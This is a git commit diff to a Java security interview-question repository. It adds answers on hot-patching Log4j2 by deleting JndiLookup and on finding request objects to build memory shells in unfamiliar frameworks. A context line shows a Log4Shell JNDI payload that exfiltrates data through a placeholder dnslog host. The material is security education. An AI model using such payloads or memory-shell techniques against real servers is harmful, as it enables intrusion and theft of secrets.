update

4ra1n · 4ra1n · commit a85554ac8b3a · 2022-02-14T16:18:47.000+08:00
diff --git a/README.md b/README.md
@@ -22,6 +22,6 @@
 
 [Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro)
 
-[Log4j2组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2)
+[Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2)
 
-[内存马专题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell)
+[内存马专题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell)
diff --git a/log4j2/README.md b/log4j2/README.md
@@ -43,3 +43,12 @@
 在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息
 
 这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}`
+
+
+
+- 不停止运行程序如何修复Log4j2漏洞（★★★）
+
+利用JavaAgent改JVM中的字节码，可以直接删了`JndiLookup`的功能
+
+有公众号提出类似`Shiro`改`Key`的思路，利用反射把`JndiLookup`删了也是一种办法
+
diff --git a/memshell/README.md b/memshell/README.md
@@ -48,4 +48,12 @@ Spring内存马有：Controller型，Interceptor型
 
 - Java Agent内存马的查杀（★★★）
 
-网上师傅提到用`sa-jdi.jar`工具来做，这是一个JVM性能检测工具，可以dump出JVM中所有的Class文件，尤其重点关注`HttpServletr.service`方法，这是Agent内存马常用的手段
+网上师傅提到用`sa-jdi.jar`工具来做，这是一个JVM性能检测工具，可以dump出JVM中所有的Class文件，尤其重点关注`HttpServletr.service`方法，这是Agent内存马常用的手段
+
+
+
+- 如果有一个陌生的框架你如何挖内存马（★★★）
+
+核心是找到类似`Tomcat`和`Spring`中类似`Context`的对象，然后尝试从其中获取`request`和`response`对象以实现内存马的功能。可以从常见的类名称入手：Requst、ServletRequest、RequstGroup、RequestInfo、RequestGroupInfo等等。可以参考c0ny1师傅的`java-object-searcher`项目，半自动搜索`request`对象
+
+
